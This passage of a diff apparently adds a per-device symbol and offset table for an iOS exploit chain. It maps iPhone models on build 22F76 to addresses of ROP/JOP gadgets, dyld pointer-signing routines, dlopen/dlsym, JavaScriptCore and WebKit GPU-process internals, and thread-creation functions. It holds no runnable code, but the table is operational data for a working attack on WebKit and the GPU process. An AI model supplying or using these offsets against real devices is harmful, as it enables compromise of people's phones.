0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be2a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be2a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be2b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be2b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e7fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e858n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62ab8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5f8n, + WebCore__initPKContact_value: 0x1eda6b600n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69dc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69db8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69da0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fa00n, + __pthread_head: 0x269374020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a53d0n, + gadget_control_1_ios184: 0x23f0fe2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f26d150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d241da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfba16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acb820n, + libGPUCompilerImplLazy__invoker: 0x23cea37e8n, + libGPUCompilerImplLazy_cstring: 0x23bfed870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca898n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d290000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9b00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,2_3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf1d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadecc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadec20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadec70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade068n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebd88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be6f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be3a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be3a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be3b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be2f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be3b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fdfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e958n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62bb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b6f8n, + WebCore__initPKContact_value: 0x1eda6b700n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69ec0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69eb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69ea0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fb00n, + __pthread_head: 0x269d8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a54d0n, + gadget_control_1_ios184: 0x23f1022ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,4_22F76": { + 